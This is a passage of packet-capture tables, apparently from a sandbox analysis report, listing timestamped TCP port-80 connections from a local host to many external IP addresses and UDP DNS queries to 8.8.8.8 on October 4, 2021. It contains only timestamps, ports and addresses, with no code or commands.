Oct 4, 2021 16:04:40.282738924 CEST	80	50272	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:40.350600958 CEST	80	50273	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:40.351285934 CEST	50273	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:40.351315975 CEST	50273	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:40.351320982 CEST	50273	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:40.465965033 CEST	80	50273	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:40.506625891 CEST	80	50273	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:40.611210108 CEST	80	50272	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:40.611305952 CEST	80	50272	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:40.611466885 CEST	50272	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:40.806685925 CEST	80	50273	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:40.806777954 CEST	80	50273	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:40.807734966 CEST	50273	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:40.887027025 CEST	50274	80	192.168.2.3	185.20.51.238
Oct 4, 2021 16:04:40.926297903 CEST	80	50274	185.20.51.238	192.168.2.3
Oct 4, 2021 16:04:40.926723957 CEST	50274	80	192.168.2.3	185.20.51.238
Oct 4, 2021 16:04:40.927355051 CEST	50274	80	192.168.2.3	185.20.51.238
Oct 4, 2021 16:04:40.927418947 CEST	50274	80	192.168.2.3	185.20.51.238
Oct 4, 2021 16:04:40.959861994 CEST	80	50274	185.20.51.238	192.168.2.3
Oct 4, 2021 16:04:40.963634968 CEST	80	50274	185.20.51.238	192.168.2.3
Oct 4, 2021 16:04:40.963681936 CEST	80	50274	185.20.51.238	192.168.2.3
Oct 4, 2021 16:04:40.963815928 CEST	50274	80	192.168.2.3	185.20.51.238
Oct 4, 2021 16:04:41.046087980 CEST	50275	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:41.163630962 CEST	80	50275	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:41.163739920 CEST	50275	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:41.163944960 CEST	50275	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:41.164017916 CEST	50275	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:41.186794996 CEST	50276	80	192.168.2.3	103.50.162.157
Oct 4, 2021 16:04:41.281330109 CEST	80	50275	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:41.312794924 CEST	80	50276	103.50.162.157	192.168.2.3
Oct 4, 2021 16:04:41.312943935 CEST	50276	80	192.168.2.3	103.50.162.157
Oct 4, 2021 16:04:41.313280106 CEST	50276	80	192.168.2.3	103.50.162.157
Oct 4, 2021 16:04:41.313880920 CEST	50276	80	192.168.2.3	103.50.162.157
Oct 4, 2021 16:04:41.320653915 CEST	80	50275	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:41.439091921 CEST	80	50276	103.50.162.157	192.168.2.3
Oct 4, 2021 16:04:41.440130949 CEST	80	50276	103.50.162.157	192.168.2.3
Oct 4, 2021 16:04:41.440156937 CEST	80	50276	103.50.162.157	192.168.2.3
Oct 4, 2021 16:04:41.440263987 CEST	50276	80	192.168.2.3	103.50.162.157
Oct 4, 2021 16:04:41.609772921 CEST	80	50275	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:41.609793901 CEST	80	50275	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:41.609920979 CEST	50275	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:41.851000071 CEST	50277	80	192.168.2.3	192.185.113.204
Oct 4, 2021 16:04:41.863358021 CEST	50278	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:41.994008064 CEST	80	50277	192.185.113.204	192.168.2.3
Oct 4, 2021 16:04:41.996481895 CEST	50277	80	192.168.2.3	192.185.113.204
Oct 4, 2021 16:04:41.996716976 CEST	50277	80	192.168.2.3	192.185.113.204
Oct 4, 2021 16:04:41.996772051 CEST	50277	80	192.168.2.3	192.185.113.204
Oct 4, 2021 16:04:42.019635916 CEST	80	50278	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:42.021346092 CEST	50278	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:42.021411896 CEST	50278	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:42.021416903 CEST	50278	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:42.136708975 CEST	80	50277	192.185.113.204	192.168.2.3
Oct 4, 2021 16:04:42.137372017 CEST	80	50277	192.185.113.204	192.168.2.3
Oct 4, 2021 16:04:42.137398005 CEST	80	50277	192.185.113.204	192.168.2.3
Oct 4, 2021 16:04:42.137530088 CEST	50277	80	192.168.2.3	192.185.113.204
Oct 4, 2021 16:04:42.177680969 CEST	80	50278	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:42.217492104 CEST	80	50278	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:42.399921894 CEST	50279	80	192.168.2.3	51.222.139.54
Oct 4, 2021 16:04:42.503094912 CEST	80	50279	51.222.139.54	192.168.2.3
Oct 4, 2021 16:04:42.503705978 CEST	50279	80	192.168.2.3	51.222.139.54
Oct 4, 2021 16:04:42.503914118 CEST	50279	80	192.168.2.3	51.222.139.54
Oct 4, 2021 16:04:42.504026890 CEST	50279	80	192.168.2.3	51.222.139.54
Oct 4, 2021 16:04:42.510097027 CEST	80	50278	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:42.510474920 CEST	80	50278	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:42.510654926 CEST	50278	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:42.608963013 CEST	80	50279	51.222.139.54	192.168.2.3
Oct 4, 2021 16:04:42.648861885 CEST	80	50279	51.222.139.54	192.168.2.3
Oct 4, 2021 16:04:42.704196930 CEST	50280	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:42.733129978 CEST	80	50279	51.222.139.54	192.168.2.3
Oct 4, 2021 16:04:42.737956047 CEST	80	50279	51.222.139.54	192.168.2.3
Oct 4, 2021 16:04:42.738073111 CEST	50279	80	192.168.2.3	51.222.139.54
Oct 4, 2021 16:04:42.863606930 CEST	80	50280	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:42.864146948 CEST	50280	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:42.864464045 CEST	50280	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:42.864582062 CEST	50280	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:42.973747969 CEST	50281	80	192.168.2.3	192.185.46.34
Oct 4, 2021 16:04:43.023721933 CEST	80	50280	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:43.063183069 CEST	80	50280	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:43.113858938 CEST	80	50281	192.185.46.34	192.168.2.3
Oct 4, 2021 16:04:43.114082098 CEST	50281	80	192.168.2.3	192.185.46.34
Oct 4, 2021 16:04:43.114661932 CEST	50281	80	192.168.2.3	192.185.46.34
Oct 4, 2021 16:04:43.114804983 CEST	50281	80	192.168.2.3	192.185.46.34
Oct 4, 2021 16:04:43.254601002 CEST	80	50281	192.185.46.34	192.168.2.3
Oct 4, 2021 16:04:43.255480051 CEST	80	50281	192.185.46.34	192.168.2.3
Oct 4, 2021 16:04:43.255513906 CEST	80	50281	192.185.46.34	192.168.2.3
Oct 4, 2021 16:04:43.255753994 CEST	50281	80	192.168.2.3	192.185.46.34
Oct 4, 2021 16:04:43.461287975 CEST	50282	80	192.168.2.3	128.0.46.214
Oct 4, 2021 16:04:43.466658115 CEST	80	50280	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:43.466872931 CEST	80	50280	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:43.468611956 CEST	50280	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:43.515647888 CEST	80	50282	128.0.46.214	192.168.2.3
Oct 4, 2021 16:04:43.515784025 CEST	50282	80	192.168.2.3	128.0.46.214
Oct 4, 2021 16:04:43.516047955 CEST	50282	80	192.168.2.3	128.0.46.214
Oct 4, 2021 16:04:43.516134977 CEST	50282	80	192.168.2.3	128.0.46.214
Oct 4, 2021 16:04:43.564099073 CEST	80	50282	128.0.46.214	192.168.2.3
Oct 4, 2021 16:04:43.604768038 CEST	80	50282	128.0.46.214	192.168.2.3
Oct 4, 2021 16:04:43.677496910 CEST	50283	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:43.795030117 CEST	80	50283	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:43.795325041 CEST	50283	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:43.795762062 CEST	50283	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:43.795953035 CEST	50283	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:43.913296938 CEST	80	50283	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:43.915612936 CEST	80	50282	128.0.46.214	192.168.2.3
Oct 4, 2021 16:04:43.915644884 CEST	80	50282	128.0.46.214	192.168.2.3
Oct 4, 2021 16:04:43.916203022 CEST	50282	80	192.168.2.3	128.0.46.214
Oct 4, 2021 16:04:43.953545094 CEST	80	50283	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:44.250474930 CEST	80	50283	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:44.250510931 CEST	80	50283	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:44.250634909 CEST	50283	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:44.453249931 CEST	50284	80	192.168.2.3	192.254.235.244
Oct 4, 2021 16:04:44.646809101 CEST	80	50284	192.254.235.244	192.168.2.3
Oct 4, 2021 16:04:44.647073984 CEST	50284	80	192.168.2.3	192.254.235.244
Oct 4, 2021 16:04:44.647211075 CEST	50284	80	192.168.2.3	192.254.235.244
Oct 4, 2021 16:04:44.647491932 CEST	50284	80	192.168.2.3	192.254.235.244
Oct 4, 2021 16:04:44.840389013 CEST	80	50284	192.254.235.244	192.168.2.3
Oct 4, 2021 16:04:44.841444969 CEST	80	50284	192.254.235.244	192.168.2.3
Oct 4, 2021 16:04:44.841463089 CEST	80	50284	192.254.235.244	192.168.2.3
Oct 4, 2021 16:04:44.842133999 CEST	50284	80	192.168.2.3	192.254.235.244
Oct 4, 2021 16:04:45.067405939 CEST	50285	80	192.168.2.3	166.62.10.34
Oct 4, 2021 16:04:45.250793934 CEST	80	50285	166.62.10.34	192.168.2.3
Oct 4, 2021 16:04:45.250992060 CEST	50285	80	192.168.2.3	166.62.10.34
Oct 4, 2021 16:04:45.251214027 CEST	50285	80	192.168.2.3	166.62.10.34
Oct 4, 2021 16:04:45.251280069 CEST	50285	80	192.168.2.3	166.62.10.34
Oct 4, 2021 16:04:45.429380894 CEST	80	50285	166.62.10.34	192.168.2.3
Oct 4, 2021 16:04:45.468708992 CEST	80	50285	166.62.10.34	192.168.2.3
Oct 4, 2021 16:04:45.864813089 CEST	80	50285	166.62.10.34	192.168.2.3
Oct 4, 2021 16:04:45.909497976 CEST	50285	80	192.168.2.3	166.62.10.34
Oct 4, 2021 16:04:56.055366993 CEST	80	50285	166.62.10.34	192.168.2.3
Oct 4, 2021 16:04:56.055490017 CEST	50285	80	192.168.2.3	166.62.10.34
Oct 4, 2021 16:04:56.490029097 CEST	50286	80	192.168.2.3	50.87.147.76
Oct 4, 2021 16:04:56.683607101 CEST	80	50286	50.87.147.76	192.168.2.3
Oct 4, 2021 16:04:56.683770895 CEST	50286	80	192.168.2.3	50.87.147.76
Oct 4, 2021 16:04:56.684020042 CEST	50286	80	192.168.2.3	50.87.147.76
Oct 4, 2021 16:04:56.684119940 CEST	50286	80	192.168.2.3	50.87.147.76
Oct 4, 2021 16:04:56.877114058 CEST	80	50286	50.87.147.76	192.168.2.3
Oct 4, 2021 16:04:56.878232002 CEST	80	50286	50.87.147.76	192.168.2.3
Oct 4, 2021 16:04:56.878261089 CEST	80	50286	50.87.147.76	192.168.2.3
Oct 4, 2021 16:04:56.878407001 CEST	50286	80	192.168.2.3	50.87.147.76
Oct 4, 2021 16:04:57.107151985 CEST	50287	80	192.168.2.3	184.168.102.202
Oct 4, 2021 16:04:57.269335985 CEST	80	50287	184.168.102.202	192.168.2.3
Oct 4, 2021 16:04:57.269470930 CEST	50287	80	192.168.2.3	184.168.102.202
Oct 4, 2021 16:04:57.269833088 CEST	50287	80	192.168.2.3	184.168.102.202
Oct 4, 2021 16:04:57.270016909 CEST	50287	80	192.168.2.3	184.168.102.202
Oct 4, 2021 16:04:57.433414936 CEST	80	50287	184.168.102.202	192.168.2.3
Oct 4, 2021 16:04:57.471811056 CEST	80	50287	184.168.102.202	192.168.2.3
Oct 4, 2021 16:04:57.872818947 CEST	80	50287	184.168.102.202	192.168.2.3
Oct 4, 2021 16:04:57.872838974 CEST	80	50287	184.168.102.202	192.168.2.3
Oct 4, 2021 16:04:57.873076916 CEST	50287	80	192.168.2.3	184.168.102.202
Oct 4, 2021 16:04:58.183340073 CEST	50288	80	192.168.2.3	67.227.144.24
Oct 4, 2021 16:04:58.341836929 CEST	80	50288	67.227.144.24	192.168.2.3
Oct 4, 2021 16:04:58.341981888 CEST	50288	80	192.168.2.3	67.227.144.24
Oct 4, 2021 16:04:58.342204094 CEST	50288	80	192.168.2.3	67.227.144.24
Oct 4, 2021 16:04:58.342307091 CEST	50288	80	192.168.2.3	67.227.144.24
Oct 4, 2021 16:04:58.501064062 CEST	80	50288	67.227.144.24	192.168.2.3
Oct 4, 2021 16:04:58.540946007 CEST	80	50288	67.227.144.24	192.168.2.3
Oct 4, 2021 16:04:58.605324984 CEST	80	50288	67.227.144.24	192.168.2.3
Oct 4, 2021 16:04:58.605350018 CEST	80	50288	67.227.144.24	192.168.2.3
Oct 4, 2021 16:04:58.605526924 CEST	50288	80	192.168.2.3	67.227.144.24
Oct 4, 2021 16:04:58.935008049 CEST	50289	80	192.168.2.3	185.146.22.232
Oct 4, 2021 16:04:58.964245081 CEST	80	50289	185.146.22.232	192.168.2.3
Oct 4, 2021 16:04:58.964555979 CEST	50289	80	192.168.2.3	185.146.22.232
Oct 4, 2021 16:04:58.964835882 CEST	50289	80	192.168.2.3	185.146.22.232
Oct 4, 2021 16:04:58.964903116 CEST	50289	80	192.168.2.3	185.146.22.232
Oct 4, 2021 16:04:58.993340015 CEST	80	50289	185.146.22.232	192.168.2.3
Oct 4, 2021 16:04:59.032733917 CEST	80	50289	185.146.22.232	192.168.2.3
Oct 4, 2021 16:04:59.377927065 CEST	80	50289	185.146.22.232	192.168.2.3
Oct 4, 2021 16:04:59.377969027 CEST	80	50289	185.146.22.232	192.168.2.3
Oct 4, 2021 16:04:59.378118992 CEST	50289	80	192.168.2.3	185.146.22.232
Oct 4, 2021 16:04:59.585977077 CEST	50290	80	192.168.2.3	185.58.73.28
Oct 4, 2021 16:04:59.637686014 CEST	80	50290	185.58.73.28	192.168.2.3
Oct 4, 2021 16:04:59.637938023 CEST	50290	80	192.168.2.3	185.58.73.28
Oct 4, 2021 16:04:59.638189077 CEST	50290	80	192.168.2.3	185.58.73.28
Oct 4, 2021 16:04:59.638340950 CEST	50290	80	192.168.2.3	185.58.73.28
Oct 4, 2021 16:04:59.683280945 CEST	80	50290	185.58.73.28	192.168.2.3
Oct 4, 2021 16:04:59.725682974 CEST	80	50290	185.58.73.28	192.168.2.3
Oct 4, 2021 16:04:59.956042051 CEST	80	50290	185.58.73.28	192.168.2.3
Oct 4, 2021 16:04:59.956069946 CEST	80	50290	185.58.73.28	192.168.2.3
Oct 4, 2021 16:04:59.957259893 CEST	50290	80	192.168.2.3	185.58.73.28
Oct 4, 2021 16:05:00.192307949 CEST	50291	80	192.168.2.3	103.125.80.58
Oct 4, 2021 16:05:00.385449886 CEST	80	50291	103.125.80.58	192.168.2.3
Oct 4, 2021 16:05:00.385575056 CEST	50291	80	192.168.2.3	103.125.80.58
Oct 4, 2021 16:05:00.385709047 CEST	50291	80	192.168.2.3	103.125.80.58
Oct 4, 2021 16:05:00.385760069 CEST	50291	80	192.168.2.3	103.125.80.58
Oct 4, 2021 16:05:00.575629950 CEST	80	50291	103.125.80.58	192.168.2.3
Oct 4, 2021 16:05:00.615556002 CEST	80	50291	103.125.80.58	192.168.2.3
Oct 4, 2021 16:05:01.115714073 CEST	80	50291	103.125.80.58	192.168.2.3
Oct 4, 2021 16:05:01.116111040 CEST	80	50291	103.125.80.58	192.168.2.3
Oct 4, 2021 16:05:01.116210938 CEST	50291	80	192.168.2.3	103.125.80.58
Oct 4, 2021 16:05:01.356468916 CEST	50292	80	192.168.2.3	165.227.90.171
Oct 4, 2021 16:05:01.461795092 CEST	80	50292	165.227.90.171	192.168.2.3
Oct 4, 2021 16:05:01.461980104 CEST	50292	80	192.168.2.3	165.227.90.171
Oct 4, 2021 16:05:01.462246895 CEST	50292	80	192.168.2.3	165.227.90.171
Oct 4, 2021 16:05:01.462352991 CEST	50292	80	192.168.2.3	165.227.90.171
Oct 4, 2021 16:05:01.566042900 CEST	80	50292	165.227.90.171	192.168.2.3
Oct 4, 2021 16:05:01.566849947 CEST	80	50292	165.227.90.171	192.168.2.3
Oct 4, 2021 16:05:01.567826033 CEST	50292	80	192.168.2.3	165.227.90.171
Oct 4, 2021 16:05:01.790225029 CEST	50293	80	192.168.2.3	199.193.116.170
Oct 4, 2021 16:05:01.932054043 CEST	80	50293	199.193.116.170	192.168.2.3
Oct 4, 2021 16:05:01.932327032 CEST	50293	80	192.168.2.3	199.193.116.170
Oct 4, 2021 16:05:01.932523966 CEST	50293	80	192.168.2.3	199.193.116.170
Oct 4, 2021 16:05:01.932616949 CEST	50293	80	192.168.2.3	199.193.116.170
Oct 4, 2021 16:05:02.074632883 CEST	80	50293	199.193.116.170	192.168.2.3
Oct 4, 2021 16:05:02.114590883 CEST	80	50293	199.193.116.170	192.168.2.3
Oct 4, 2021 16:05:02.180356026 CEST	80	50293	199.193.116.170	192.168.2.3
Oct 4, 2021 16:05:02.180385113 CEST	80	50293	199.193.116.170	192.168.2.3
Oct 4, 2021 16:05:02.180520058 CEST	50293	80	192.168.2.3	199.193.116.170
Oct 4, 2021 16:05:02.446667910 CEST	50294	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:05:02.562079906 CEST	80	50294	198.38.82.168	192.168.2.3
Oct 4, 2021 16:05:02.562258005 CEST	50294	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:05:02.562539101 CEST	50294	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:05:02.562695026 CEST	50294	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:05:02.676989079 CEST	80	50294	198.38.82.168	192.168.2.3
Oct 4, 2021 16:05:02.716692924 CEST	80	50294	198.38.82.168	192.168.2.3
Oct 4, 2021 16:05:03.055380106 CEST	80	50294	198.38.82.168	192.168.2.3
Oct 4, 2021 16:05:03.055490971 CEST	80	50294	198.38.82.168	192.168.2.3
Oct 4, 2021 16:05:03.055583000 CEST	50294	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:05:03.368781090 CEST	50295	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:05:03.486394882 CEST	80	50295	198.38.82.168	192.168.2.3
Oct 4, 2021 16:05:03.486567974 CEST	50295	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:05:03.486804008 CEST	50295	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:05:03.486884117 CEST	50295	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:05:03.604212046 CEST	80	50295	198.38.82.168	192.168.2.3
Oct 4, 2021 16:05:03.643641949 CEST	80	50295	198.38.82.168	192.168.2.3
Oct 4, 2021 16:05:03.937527895 CEST	80	50295	198.38.82.168	192.168.2.3
Oct 4, 2021 16:05:03.937624931 CEST	80	50295	198.38.82.168	192.168.2.3
Oct 4, 2021 16:05:03.938886881 CEST	50295	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:05:09.618763924 CEST	50297	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:05:09.619573116 CEST	50298	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:05:09.736376047 CEST	80	50297	198.38.82.168	192.168.2.3
Oct 4, 2021 16:05:09.736574888 CEST	50297	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:05:09.737018108 CEST	50297	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:05:09.737225056 CEST	50297	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:05:09.739793062 CEST	80	50298	198.38.82.168	192.168.2.3
Oct 4, 2021 16:05:09.739962101 CEST	50298	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:05:09.740258932 CEST	50298	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:05:09.740411997 CEST	50298	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:05:09.854465961 CEST	80	50297	198.38.82.168	192.168.2.3
Oct 4, 2021 16:05:09.858062983 CEST	80	50298	198.38.82.168	192.168.2.3
Oct 4, 2021 16:05:09.893686056 CEST	80	50297	198.38.82.168	192.168.2.3
Oct 4, 2021 16:05:09.897758961 CEST	80	50298	198.38.82.168	192.168.2.3
Oct 4, 2021 16:05:10.184801102 CEST	80	50297	198.38.82.168	192.168.2.3
Oct 4, 2021 16:05:10.185029030 CEST	80	50297	198.38.82.168	192.168.2.3
Oct 4, 2021 16:05:10.185095072 CEST	50297	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:05:10.200367928 CEST	80	50298	198.38.82.168	192.168.2.3
Oct 4, 2021 16:05:10.200567007 CEST	80	50298	198.38.82.168	192.168.2.3
Oct 4, 2021 16:05:10.200629950 CEST	50298	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:05:34.238274097 CEST	50300	80	192.168.2.3	185.20.51.238
Oct 4, 2021 16:05:34.238280058 CEST	50299	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:05:34.270998001 CEST	80	50300	185.20.51.238	192.168.2.3
Oct 4, 2021 16:05:34.271205902 CEST	50300	80	192.168.2.3	185.20.51.238
Oct 4, 2021 16:05:34.271264076 CEST	50300	80	192.168.2.3	185.20.51.238
Oct 4, 2021 16:05:34.271275043 CEST	50300	80	192.168.2.3	185.20.51.238
Oct 4, 2021 16:05:34.304114103 CEST	80	50300	185.20.51.238	192.168.2.3
Oct 4, 2021 16:05:34.309077978 CEST	80	50300	185.20.51.238	192.168.2.3
Oct 4, 2021 16:05:34.309098005 CEST	80	50300	185.20.51.238	192.168.2.3
Oct 4, 2021 16:05:34.309565067 CEST	50300	80	192.168.2.3	185.20.51.238
Oct 4, 2021 16:05:34.396374941 CEST	80	50299	198.38.82.168	192.168.2.3
Oct 4, 2021 16:05:34.396589994 CEST	50299	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:05:34.396747112 CEST	50299	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:05:34.396756887 CEST	50299	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:05:34.555664062 CEST	80	50299	198.38.82.168	192.168.2.3
Oct 4, 2021 16:05:34.593909979 CEST	80	50299	198.38.82.168	192.168.2.3
Oct 4, 2021 16:05:34.887758970 CEST	80	50299	198.38.82.168	192.168.2.3
Oct 4, 2021 16:05:34.887782097 CEST	80	50299	198.38.82.168	192.168.2.3
Oct 4, 2021 16:05:34.887893915 CEST	50299	80	192.168.2.3	198.38.82.168

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 4, 2021 16:00:57.953098059 CEST	51143	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:00:57.982661009 CEST	53	51143	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:08.047281027 CEST	56009	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:08.160294056 CEST	53	56009	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:08.713517904 CEST	59026	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:08.846973896 CEST	53	59026	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:09.479688883 CEST	49572	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:09.500102997 CEST	53	49572	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:09.509063005 CEST	60823	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:09.525172949 CEST	53	60823	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:10.052825928 CEST	52130	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:10.198103905 CEST	53	52130	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:10.368160963 CEST	55102	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:10.387219906 CEST	53	55102	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:10.393450975 CEST	56236	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:10.415586948 CEST	53	56236	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:10.639436007 CEST	56527	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:10.658366919 CEST	53	56527	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:11.230045080 CEST	49559	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:11.248265982 CEST	53	49559	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:11.261671066 CEST	52650	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:11.277798891 CEST	63297	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:11.279673100 CEST	53	52650	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:11.298098087 CEST	53	63297	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:11.303613901 CEST	58361	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:11.420186996 CEST	53	58361	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:12.222353935 CEST	53615	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:12.244121075 CEST	53	53615	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:12.255230904 CEST	50728	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:12.328159094 CEST	53777	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:12.348953962 CEST	53	53777	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:12.355495930 CEST	57106	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:12.371721983 CEST	53	50728	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:12.373246908 CEST	53	57106	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:13.165260077 CEST	60352	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:13.184020042 CEST	53	60352	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:13.192739964 CEST	56773	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:13.210887909 CEST	53	56773	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:13.279158115 CEST	60982	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:13.297665119 CEST	53	60982	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:13.303796053 CEST	58058	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:13.320465088 CEST	53	58058	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:14.176721096 CEST	64367	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:14.195238113 CEST	53	64367	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:14.201535940 CEST	51539	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:14.317641973 CEST	53	51539	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:14.344269037 CEST	55393	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:14.363236904 CEST	53	55393	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:14.368989944 CEST	50585	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:14.387285948 CEST	53	50585	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:15.138246059 CEST	63456	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:15.154738903 CEST	53	63456	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:15.163659096 CEST	58540	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:15.174133062 CEST	55108	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:15.180056095 CEST	53	58540	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:15.190359116 CEST	53	55108	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:15.197182894 CEST	58942	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:15.216042995 CEST	53	58942	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:16.050173044 CEST	64432	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:16.068550110 CEST	53	64432	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:16.074281931 CEST	49250	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:16.092784882 CEST	53	49250	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:16.127435923 CEST	63490	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:16.145757914 CEST	53	63490	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:16.163237095 CEST	65110	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:16.181420088 CEST	53	65110	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:16.986181974 CEST	61120	53	192.168.2.3	8.8.8.8
